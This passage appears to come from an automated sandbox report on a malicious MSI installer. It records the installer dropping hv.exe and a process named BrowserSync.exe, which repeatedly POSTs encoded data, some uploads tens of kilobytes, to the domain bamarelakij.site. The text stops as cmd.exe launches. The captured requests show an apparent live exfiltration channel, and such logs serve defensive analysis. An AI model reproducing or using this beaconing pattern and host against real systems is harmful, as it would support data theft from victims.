7a 75 d8 8d d0 38 da 78 83 d6 d9 cb 17 4e 34 df 1a 3d fa 4c e5 4a 53 3b 70 9a cc 0b 9a cb e9 ce 47 be 7b 39 d2 fe fa e8 f1 e3 3d Data Ascii: `sHr X ~Okx&}*EhnUim]$$"W2NyHz!cbc2a\|BY3~l\|\|cxZ%Oy!d!G'!dR9Z!Oi\|cO9`ctiM3~zu8xN4=LJS;pG{9=
2025-01-09 13:41:43 UTC	15331	OUT	Data Raw: b5 84 91 2d 21 bc a5 0c ec 09 15 2d 61 b8 e6 90 f9 d0 e8 43 88 96 e9 c4 58 db d1 32 c8 7b 19 1d 19 41 53 b6 02 16 57 cc cd 92 a4 34 a5 e5 52 4c 34 ca 11 2e 4b 52 45 b3 2f c3 9b ff 81 07 8b 1a c3 36 41 10 7a 04 41 10 46 04 41 70 43 05 44 94 d0 55 7b d8 fd e3 cd e4 05 21 82 d6 65 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 bf ab 3b 11 bb 15 e3 52 b6 ad 97 31 e8 3c 61 12 ee c7 37 ba 16 ce 97 37 fa 75 97 5a b6 8a ff e7 86 09 e7 da 13 04 41 12 c4 d0 e8 a8 e8 57 05 d2 45 05 78 79 d3 7e 7e ae 14 bf 87 8b d0 de 42 09 69 21 4d 39 ba 88 68 0d 67 9e 2d e1 1f c9 e7 33 c8 16 4b d8 c0 de 6f fc 98 1b be 64 b4 97 db 15 07 da d5 df a6 8d b8 fa b6 b3 3d 66 56 9b 11 e4 1b 1d 02 96 Data Ascii: -!-aCX2{ASW4RL4.KRE/6AzAFApCDU{!e`;R1<a77uZAWExy~~Bi!M9hg-3Kod=fV
2025-01-09 13:41:43 UTC	3620	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2025-01-09 13:41:45 UTC	733	IN	HTTP/1.1 204 No Content Date: Thu, 09 Jan 2025 13:41:44 GMT Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oD7PygPQ5Ins%2Fulz8fVYVFhERUbS7qFG2mMzkjDhyQ80Eu8jB1ja8StyYF%2BK64JvpMT8CJCWrPbYbY0y7nFgMvBuEl3C1D%2FuYQMrvTd3BJ0iu7SMrGPcXcfQw9hrdc80e6M%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff4d8b4ccbc8c65-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1923&min_rtt=1919&rtt_var=727&sent=43&recv=119&lost=0&retrans=0&sent_bytes=2837&recv_bytes=112292&delivery_rate=1496668&cwnd=204&unsent_bytes=0&cid=0a05cee4fe1c82dc&ts=534&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50086	172.67.174.91	443	6108	C:\Users\user\AppData\Local\Temp\BrowserSync.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:45 UTC	408	OUT	POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zw Content-Length: 745 Host: bamarelakij.site
2025-01-09 13:41:45 UTC	745	OUT	Data Raw: 00 00 00 00 fd ff ff ff 00 00 00 00 03 00 00 00 92 00 01 95 00 00 00 57 c7 9e 19 08 00 00 00 95 00 00 00 45 ab c5 66 71 e3 95 29 00 00 00 00 ab e3 4f 8c 00 00 00 00 81 00 00 00 49 60 48 00 00 00 00 ab e3 4f 8c 00 00 00 00 31 00 00 00 28 a5 03 03 16 00 00 00 00 00 00 00 96 00 96 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 a5 03 83 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 28 a5 82 03 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 95 00 00 00 18 5c d7 2b 08 00 00 00 a7 00 00 00 45 ab c5 66 71 e3 95 29 00 00 00 00 0c 2e eb 95 00 00 00 00 8a 00 00 00 49 60 49 ca 60 01 80 d1 49 60 00 50 ca 60 80 80 d1 49 60 00 50 00 00 Data Ascii: WEfq)OI`HO1(((\+Efq).I`I`I`P`I`P
2025-01-09 13:41:46 UTC	724	IN	HTTP/1.1 204 No Content Date: Thu, 09 Jan 2025 13:41:46 GMT Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HknQOVLNpmMj1P7fnmDeFH3IWdilcCLI8pXbj01elpkfPP%2Fr97mpO%2BIZJhihwiDxnFsZMl7sKbRCwXPvnRSRPxI2PbOz6w2GPZ4z7E2vzsqzJTFJqb7oPEaT14P5ieE5XjFC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff4d8c25b5841b5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1592&min_rtt=1582&rtt_var=613&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=1789&delivery_rate=1756919&cwnd=207&unsent_bytes=0&cid=3d4fc128eb61c188&ts=320&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50093	172.67.174.91	443	6108	C:\Users\user\AppData\Local\Temp\BrowserSync.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:46 UTC	408	OUT	POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zw Content-Length: 212 Host: bamarelakij.site
2025-01-09 13:41:46 UTC	212	OUT	Data Raw: 00 00 00 00 fd ff ff ff 00 00 00 00 03 00 00 00 92 00 01 95 00 00 00 e8 ae 27 24 08 00 00 00 99 00 00 00 45 ab c5 66 71 e3 95 29 00 00 00 00 74 57 93 12 00 00 00 00 83 00 00 00 c9 60 60 49 60 c8 00 00 00 00 00 74 57 93 12 00 00 00 00 31 00 00 00 28 a5 03 03 16 00 00 00 00 00 00 00 96 00 96 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 a5 03 83 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 28 a5 82 03 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: '$Efq)tW``I`tW1(((
2025-01-09 13:41:47 UTC	730	IN	HTTP/1.1 204 No Content Date: Thu, 09 Jan 2025 13:41:47 GMT Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q%2FAcEr1NUVb4VkIZg8SwXxokB%2BOhPeNJjqTUKGbmLWzzZITFgbX03aXHlyd6KqQa5UvWMBajBkAK0Xp9QfHZSY%2BB2HSQg%2BdwHlocNYD2SYIkstyKr2fKqJUNjQYLOc%2FrRGws"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff4d8c78d760ca4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1717&min_rtt=1712&rtt_var=652&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=1256&delivery_rate=1666666&cwnd=241&unsent_bytes=0&cid=55a42ecf62d134da&ts=325&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50100	172.67.174.91	443	6108	C:\Users\user\AppData\Local\Temp\BrowserSync.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:47 UTC	408	OUT	POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zw Content-Length: 380 Host: bamarelakij.site
2025-01-09 13:41:47 UTC	380	OUT	Data Raw: 00 00 00 00 fd ff ff ff 00 00 00 00 03 00 00 00 92 00 01 95 00 00 00 e8 3b 7f 3c 08 00 00 00 95 00 00 00 45 ab c5 66 71 e3 95 29 00 00 00 00 74 9d bf 1e 00 00 00 00 81 00 00 00 49 60 48 00 00 00 00 74 9d bf 1e 00 00 00 00 31 00 00 00 28 a5 03 03 16 00 00 00 00 00 00 00 96 00 96 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 a5 03 83 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 28 a5 82 03 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 95 00 00 00 38 80 ca 11 08 00 00 00 94 00 00 00 45 ab c5 66 71 e3 95 29 00 00 00 00 1c 40 65 88 00 00 00 00 01 00 00 00 c8 48 00 00 00 00 1c 40 65 88 00 00 00 00 31 00 00 00 28 a5 03 03 16 Data Ascii: ;<Efq)tI`Ht1(((8Efq)@eH@e1(
2025-01-09 13:41:48 UTC	730	IN	HTTP/1.1 204 No Content Date: Thu, 09 Jan 2025 13:41:47 GMT Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pGD90QdxIESPc2jr%2BjrXmQspV4nzBFSyZyPoVDBZkWAJ61CMgvP30K1%2BmNotiNVOPFFrebgciRPJsJnhp1xZcE0JM0LXPxMhBGsUuYzXvODL2nnK%2F%2BxDkybckAKraK%2BOZoo5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff4d8cdbf5eef9f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1791&min_rtt=1773&rtt_var=701&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=1424&delivery_rate=1523213&cwnd=219&unsent_bytes=0&cid=b593287b10846a22&ts=331&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50107	172.67.174.91	443	6108	C:\Users\user\AppData\Local\Temp\BrowserSync.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:48 UTC	410	OUT	POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zw Content-Length: 14825 Host: bamarelakij.site
2025-01-09 13:41:48 UTC	14825	OUT	Data Raw: 00 00 00 00 fd ff ff ff 00 00 00 00 03 00 00 00 92 00 01 95 00 00 00 6e 96 bf 0f 08 00 00 00 ae 39 00 00 45 ab c5 66 71 e3 95 29 00 00 00 00 37 4b df 87 00 00 00 00 02 00 00 00 c9 60 00 48 00 00 00 00 37 4b df 87 00 00 00 00 3d 9c 00 00 28 a5 81 02 96 00 00 04 04 00 bc 0a 84 ac 5d f5 de 82 ff ff ff ff ff ff ff ff 0d 00 0a 00 a3 39 b0 31 31 b2 39 2e 32 b2 b9 2e 22 2b ab 24 a5 a6 27 23 27 27 17 35 38 b3 80 00 08 00 01 02 00 00 00 00 00 00 83 02 00 00 00 00 00 00 80 01 02 fe fd 22 2b ab 24 a5 a6 27 23 27 27 a9 2c 29 28 23 29 23 a9 2b 2b a1 a8 28 2c a9 a5 ab 24 a5 28 25 25 24 ac a8 ab ac ac 23 a7 27 a0 25 a8 a9 a1 a7 24 2d a0 22 21 24 aa a7 ab a7 a9 28 22 2b a0 a7 a4 a8 2b a7 21 24 a3 a6 a4 a2 27 2d a8 2d 26 a0 21 ac 22 a5 ab 2c a3 a9 aa a8 27 a9 a2 a4 27 a4 Data Ascii: n9Efq)7K`H7K=(]9119.2."+$'#''58"+$'#'',)(#)#++(,$(%%$#'%$-"!$("++!$'--&!",''
2025-01-09 13:41:49 UTC	746	IN	HTTP/1.1 204 No Content Date: Thu, 09 Jan 2025 13:41:48 GMT Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ddmOF%2FGB6RB%2F9yGK9%2FhxJ6Zh%2FLrCFgxd9CGvxZDkDA8Xc07PWGcwniE%2Fvsa%2FxvwsTq%2F8RnB9JC%2FsfM15E3r3Im0WnATIu5XnkDCaeEGZKWZ%2FhDngl%2FK%2Bz7ZkvF7Zun%2FzbKsr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff4d8d3da1a80cd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1665&min_rtt=1655&rtt_var=641&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2838&recv_bytes=15893&delivery_rate=1682027&cwnd=178&unsent_bytes=0&cid=ec33dbf4a9aa730a&ts=300&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50118	172.67.174.91	443	6108	C:\Users\user\AppData\Local\Temp\BrowserSync.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:50 UTC	410	OUT	POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zw Content-Length: 74778 Host: bamarelakij.site
2025-01-09 13:41:50 UTC	15331	OUT	Data Raw: 00 00 00 00 fd ff ff ff 00 00 00 00 03 00 00 00 92 00 01 95 00 00 00 07 37 79 16 08 00 00 00 df 23 01 00 45 ab c5 66 71 e3 95 29 00 00 00 00 83 9b bc 0b 00 00 00 00 f4 87 00 00 cd 60 53 98 19 1c 9b 9a 9b d2 35 b7 37 b2 b9 c9 05 00 e6 25 b2 c8 49 e6 82 00 e6 02 00 e7 00 00 00 80 ff 7a 00 00 ec 13 a4 37 3a b2 36 14 29 94 10 a1 b7 39 b2 14 2a a6 94 19 10 a1 28 aa 10 1b 1b 18 18 10 20 10 19 17 1a 18 10 a3 24 3d c8 df a6 b4 b1 39 b7 b9 b7 33 3a 10 21 b0 b9 b4 b1 10 22 b4 b9 38 36 b0 bc 10 a0 32 b0 38 3a b2 39 60 e1 6e 00 6b 50 53 a9 bc b9 3a b2 b6 54 29 b2 b3 b4 b9 3a 39 bc 54 b9 b6 b9 b9 17 b2 3c b2 d4 b1 b9 39 b9 b9 17 b2 3c b2 d5 bb b4 37 b4 37 b4 3a 17 b2 3c b2 d4 b1 b9 39 b9 b9 17 b2 3c b2 56 bb b4 37 36 b7 b3 b7 37 17 b2 3c b2 56 b9 b2 39 3b b4 b1 b2 b9 Data Ascii: 7y#Efq)`S57%Iz7:6)9*( $=93:!"8628:9`nkPS:T):9T<9<77:<9<V767<V9;
2025-01-09 13:41:50 UTC	15331	OUT	Data Raw: 9e 0a 55 7d ac ca 1e 66 9c 9f 10 d1 d2 be 49 9e 6a bd 25 73 47 e8 20 34 2f 53 29 eb 17 0d 70 96 a4 55 4e d5 0b 1e 3e 54 6e 2c ce b4 96 58 3b 79 51 78 56 b5 90 3f 79 38 ee 75 f1 68 d4 8d 69 4e 4f 5e 32 c5 08 bf b1 bb e2 af a5 f0 bc 4a 4f bf 93 7f 2c bd 99 f2 2f cb d2 58 5f eb b9 e3 21 b6 45 db 4f 23 d4 c3 3d fa 69 7d fe 51 a5 6b 87 88 19 97 d2 2e 63 fd 40 28 b0 c3 90 22 7d 63 d4 aa 65 09 05 a7 ca 76 1f d5 da 6c 2a 58 6b 9e da d3 9b 2d 40 e3 b8 33 56 a1 c1 a0 bc d9 42 3d 3d 8c ee 9e 7d d4 82 ad 1a fb 5d 85 e7 62 d6 73 15 02 42 81 9c 7c 55 89 a0 11 f5 2a 79 f5 44 f7 7a 3b a1 dc 3b b8 2d bc 42 57 b6 f6 c6 6b 27 3a a2 e8 8f a6 62 29 f5 b7 a8 76 d1 1a be 43 a3 12 ad df d7 a0 2b fb 5b c4 b1 42 d4 ea 8a 0a ec 7f 6d c0 a9 99 a3 2e 10 e4 97 20 59 45 bf c1 e1 ff 91 Data Ascii: U}fIj%sG 4/S)pUN>Tn,X;yQxV?y8uhiNO^2JO,/X_!EO#=i}Qk.c@("}cevlXk-@3VB==}]bsB\|UyDz;;-BWk':b)vC+[Bm. YE
2025-01-09 13:41:50 UTC	15331	OUT	Data Raw: 12 62 08 1a c1 f9 6a ef 1c 54 36 a6 8a ec 7c 2a ce 25 eb 71 d6 55 5d 53 f8 95 18 33 3f b8 10 0d 5c 4a 6f 88 64 9c 64 d1 e1 91 9d 41 de 87 23 81 53 d1 99 b3 5d a1 36 ac 95 fd fd 6a 98 e1 52 fe a7 9e 3a 36 2d a5 d7 1f 7d 3e 74 ee 72 e8 aa 54 22 5e 12 53 36 d0 6e 34 f9 26 cb 9b 69 0d cb 92 90 3a 7e b0 99 bb 12 74 a9 c3 5f 4f bc f9 9e 43 14 b2 2d 07 68 c9 d5 67 f4 a5 55 c6 fb 39 1e 49 f2 a9 c9 11 b0 34 60 2a 3d 20 37 27 fe b5 4b da a6 f7 d6 e3 a8 2a ef da 5d e0 e7 38 72 a2 be f2 c9 e1 2a a4 e7 29 2d 06 79 e4 02 d7 b7 b4 45 91 2b a0 4e b6 2e 77 d3 ba a2 2e 4f 21 b4 03 33 47 eb d7 fa 83 d9 c1 1b d1 ef e3 99 59 17 fb 89 6a a4 a8 1d 09 8f 24 8a 16 2d 55 59 26 1d ef a7 ed e4 75 5b 14 6f ef 2d 86 5d e6 37 7a dc f8 56 2b 79 b5 87 ec 93 0a 9f 32 96 7d 78 bd ca e2 d2 Data Ascii: bjT6\|%qU]S3?\JoddA#S]6jR:6-}>trT"^S6n4&i:~t_OC-hgU9I4`= 7'K]8r)-yE+N.w.O!3GYj$-UY&u[o-]7zV+y2}x
2025-01-09 13:41:50 UTC	15331	OUT	Data Raw: 5e cb 94 18 0d 97 5f 11 f1 b1 5d 51 77 39 2c fd 75 8b fc a5 28 0f da 7b 02 9a 80 e0 88 09 60 0a 1f b4 44 03 7e 89 9b f7 f6 8f a0 89 a7 98 87 db 41 89 0e df f2 bc 63 13 39 94 95 ce 6e 13 65 25 0a 74 70 ac 6c 78 0d 85 57 59 8d 96 19 9c 46 b4 13 d0 c7 ba 1c 85 60 ac 1f 09 74 e8 c6 cb 37 c8 fa d4 c4 e5 5d bc 9c 6e ee 43 53 3c 23 46 6c 27 d1 63 b3 de 59 e8 af 66 6b 13 80 7f bc 9c 36 1a 2b 29 af 70 e1 7e 8e 45 f8 5b 44 5c 8b cb 5d 5e 91 fa 87 c4 cb fa 1c 71 c2 c4 2f 6a d3 15 dc b9 b5 30 ac 29 c2 aa 7b 38 58 4e ea c1 fa 02 94 d8 e6 19 34 e4 74 b1 28 e2 34 70 ca 60 6e cc 96 0d 00 2b 8b 99 c5 af 0c 6a 19 fb 2a 2a 4f 34 5a 79 5c 75 5a f0 e7 53 71 2f 85 d4 35 b0 b2 a6 58 0e 7c e1 e2 f7 b3 64 8d 1b 78 e7 a9 90 21 dd ff 38 aa 2b 48 12 2a 7c c0 9c 82 d4 ce 81 f6 c4 00 Data Ascii: ^_]Qw9,u({`D~Ac9ne%tplxWYF`t7]nCS<#Fl'cYfk6+)p~E[D\]^q/j0){8XN4t(4p`n+j*O4Zy\uZSq/5X\|dx!8+H\|
2025-01-09 13:41:50 UTC	13454	OUT	Data Raw: 64 4d 93 04 d2 61 bf 0a bb d6 41 1b c6 59 d5 64 6e 71 5c 95 30 fb 26 2c 42 b7 c5 16 59 d3 d0 71 35 25 e2 dd 8b 35 db f8 6d c1 be a1 46 3a ce 29 c5 53 6d 9c fc b4 14 c5 23 d8 20 1e cb 11 c5 33 9e 6f 30 e8 77 06 53 7b 75 f7 df 8d 6c bb 2f 0b 16 f2 91 5b 70 0a 0c 75 07 4f 6a 95 d6 04 28 16 c7 7f 11 9d 7a 98 b0 4e 3a d5 33 f0 96 1a 07 83 6c b6 09 35 1b 56 6a 15 96 75 15 32 31 8c fc 4b f7 e0 f5 1c 9a a5 1c f3 67 13 47 2e d3 8f aa 2b f9 9f d4 df 11 c9 15 85 ef 85 d1 5b 2e 85 08 04 f9 4e 5e d0 0d 9d 72 9d 25 ed b7 74 71 93 a9 5a e5 c8 fb 14 de 65 3f de 37 fd 2b 0d d9 c7 f0 db e5 87 df 97 22 c5 ca 53 d8 ed ec 65 a5 4a 8e 20 a9 c9 7e 32 b1 55 4c d0 2d e1 6f 92 23 bb 0d 89 ef c8 17 c5 5e 4b af 99 95 85 4b cf 84 3d 5f 6f 68 e9 31 12 71 f6 ca 26 ac b7 0b 06 3a c4 d8 Data Ascii: dMaAYdnq\0&,BYq5%5mF:)Sm# 3o0wS{ul/[puOj(zN:3l5Vju21KgG.+[.N^r%tqZe?7+"SeJ ~2UL-o#^KK=_oh1q&:
2025-01-09 13:41:50 UTC	737	IN	HTTP/1.1 204 No Content Date: Thu, 09 Jan 2025 13:41:50 GMT Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JF%2B2MNlhakugtCk9MGkHLRJEo2BWJirHXc3rYaObfC5klXhljariHu0QchoI1Nt3qP%2FIkqT4i%2F%2BLVJDqV%2FwgaaPpg4sIq3%2FQkLoSrfm4JkXeToD9kVnsNQTat%2BqNniZlCRyr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff4d8ddaf5a3320-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1837&min_rtt=1827&rtt_var=705&sent=31&recv=81&lost=0&retrans=0&sent_bytes=2837&recv_bytes=76022&delivery_rate=1530398&cwnd=252&unsent_bytes=0&cid=66e0570f78c43b5a&ts=492&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50122	172.67.174.91	443	6108	C:\Users\user\AppData\Local\Temp\BrowserSync.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 13:41:51 UTC	407	OUT	POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zw Content-Length: 35 Host: bamarelakij.site
2025-01-09 13:41:51 UTC	35	OUT	Data Raw: 00 00 00 00 fd ff ff ff 00 00 00 00 03 00 00 00 92 00 02 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii:
2025-01-09 13:41:51 UTC	732	IN	HTTP/1.1 204 No Content Date: Thu, 09 Jan 2025 13:41:51 GMT Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FJB66DnrvGgBw44LXLtyPZni%2BVrK655NUs4FpJWvjh3bl%2FWqP%2BwxQ%2FQkIWq4wvKJdd9UNglZt1aurvSFLvdNERkQSniP9%2B7frZc3jzeNjnh%2BDVSUYuA8j1ggAAIJzP2u0K93"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff4d8e54f6fc420-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1715&min_rtt=1677&rtt_var=656&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=1078&delivery_rate=1741204&cwnd=225&unsent_bytes=0&cid=fb5f4c6156dfa8be&ts=327&x=0"

Target ID:	0
Start time:	08:40:00
Start date:	09/01/2025
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\cLm7ThwEvh.msi"
Imagebase:	0x7ff7f85a0000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:40:00
Start date:	09/01/2025
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff7f85a0000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	08:40:02
Start date:	09/01/2025
Path:	C:\Users\user\AppData\Local\Temp\Caret\hv.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Caret\hv.exe"
Imagebase:	0x590000
File size:	9'094'368 bytes
MD5 hash:	480F8CF600F5509595B8418C6534CAF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:40:04
Start date:	09/01/2025
Path:	C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe
Imagebase:	0x770000
File size:	9'094'368 bytes
MD5 hash:	480F8CF600F5509595B8418C6534CAF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:40:06
Start date:	09/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
